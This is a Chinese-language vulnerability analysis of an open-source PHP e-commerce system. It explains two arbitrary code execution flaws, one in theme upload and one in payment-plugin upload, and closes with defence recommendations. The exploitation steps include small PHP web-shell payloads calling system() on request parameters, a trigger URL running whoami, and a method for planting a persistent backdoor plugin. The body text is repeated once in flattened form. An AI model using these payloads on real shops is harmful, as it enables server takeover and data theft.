某开源商城的代码分析
字数 1084 2025-08-29 08:30:05

开源商城系统漏洞分析与利用教学文档

1. 任意代码执行漏洞1:主题上传利用

漏洞位置

ThemeAdminUploadHandle 类中的主题上传功能

漏洞原理

  1. 系统允许上传主题压缩包,解压后会将文件放置在特定目录
  2. 虽然有以下限制:
    • 文件必须位于 _html__static_ 文件夹下
    • 禁止上传 .php 后缀文件
  3. 但可以通过上传包含PHP代码的HTML文件实现代码执行

利用步骤

  1. 准备一个压缩包,结构如下:

    _html_/default/agreement/1.html
    

    其中 1.html 包含PHP代码,如:

    <?php system($_GET['1']); ?>
    
  2. 上传该主题压缩包

  3. 上传成功后访问:

    http://127.0.0.1/?s=agreement/index/&1=whoami
    

    即可执行系统命令

关键点

  • 系统会动态加载模板目录下的文件
  • 通过HTML文件绕过PHP后缀限制
  • 利用路径 /app/index/view/default/agreement 实现代码执行

2. 任意代码执行漏洞2:支付插件上传利用

漏洞位置

app/admin/controller/Payment.php 中的 Upload()UploadHandle 方法

漏洞原理

  1. 系统允许上传支付插件
  2. 上传流程:
    • 先使用 stream_get_contents 读取文件内容
    • 然后进行校验
  3. 校验函数 GetPaymentConfig() 会通过 class_exists 动态加载上传的PHP文件
  4. 虽然有 strpos($file_content, 'eval(') === false 过滤,但很容易绕过

利用步骤

方法一:直接上传PHP文件

  1. 创建一个 1.php 文件,内容为:
    <?php
    // 任意PHP代码
    system($_GET['cmd']);
    ?>
    
  2. 上传该文件
  3. 系统会自动加载并执行其中的代码

方法二:持久化上传

  1. 创建一个合法的支付插件文件,如 AlipayScanQrcode.php
  2. 在其中插入恶意代码
  3. 上传后该文件会被系统持续加载

关键点

  • 文件内容先被读取后校验,存在时间差
  • class_exists 会动态加载PHP文件
  • eval 过滤可轻易绕过
  • 可实现持久化后门

防御建议

  1. 对于主题上传:

    • 严格限制上传文件类型
    • 对HTML文件内容进行检查
    • 禁止动态执行模板文件中的代码
  2. 对于支付插件上传:

    • 实现白名单机制,只允许特定支付插件
    • 在加载前进行完整的安全检查
    • 禁止用户上传可执行代码
  3. 通用防御:

    • 实现文件上传内容安全检查
    • 限制上传文件的执行权限
    • 对用户上传的文件进行隔离存储

总结

这两个漏洞都源于对用户上传文件处理不当,结合系统动态加载机制导致的任意代码执行。攻击者可以通过精心构造的文件上传实现系统命令执行,危害极大。开发者在实现文件上传功能时应特别注意安全校验机制的设计。

开源商城系统漏洞分析与利用教学文档 1. 任意代码执行漏洞1:主题上传利用 漏洞位置 ThemeAdminUploadHandle 类中的主题上传功能 漏洞原理 系统允许上传主题压缩包,解压后会将文件放置在特定目录 虽然有以下限制: 文件必须位于 _html_ 或 _static_ 文件夹下 禁止上传 .php 后缀文件 但可以通过上传包含PHP代码的HTML文件实现代码执行 利用步骤 准备一个压缩包,结构如下: 其中 1.html 包含PHP代码,如: 上传该主题压缩包 上传成功后访问: 即可执行系统命令 关键点 系统会动态加载模板目录下的文件 通过HTML文件绕过PHP后缀限制 利用路径 /app/index/view/default/agreement 实现代码执行 2. 任意代码执行漏洞2:支付插件上传利用 漏洞位置 app/admin/controller/Payment.php 中的 Upload() 和 UploadHandle 方法 漏洞原理 系统允许上传支付插件 上传流程: 先使用 stream_get_contents 读取文件内容 然后进行校验 校验函数 GetPaymentConfig() 会通过 class_exists 动态加载上传的PHP文件 虽然有 strpos($file_content, 'eval(') === false 过滤,但很容易绕过 利用步骤 方法一:直接上传PHP文件 创建一个 1.php 文件,内容为: 上传该文件 系统会自动加载并执行其中的代码 方法二:持久化上传 创建一个合法的支付插件文件,如 AlipayScanQrcode.php 在其中插入恶意代码 上传后该文件会被系统持续加载 关键点 文件内容先被读取后校验,存在时间差 class_exists 会动态加载PHP文件 eval 过滤可轻易绕过 可实现持久化后门 防御建议 对于主题上传: 严格限制上传文件类型 对HTML文件内容进行检查 禁止动态执行模板文件中的代码 对于支付插件上传: 实现白名单机制,只允许特定支付插件 在加载前进行完整的安全检查 禁止用户上传可执行代码 通用防御: 实现文件上传内容安全检查 限制上传文件的执行权限 对用户上传的文件进行隔离存储 总结 这两个漏洞都源于对用户上传文件处理不当,结合系统动态加载机制导致的任意代码执行。攻击者可以通过精心构造的文件上传实现系统命令执行,危害极大。开发者在实现文件上传功能时应特别注意安全校验机制的设计。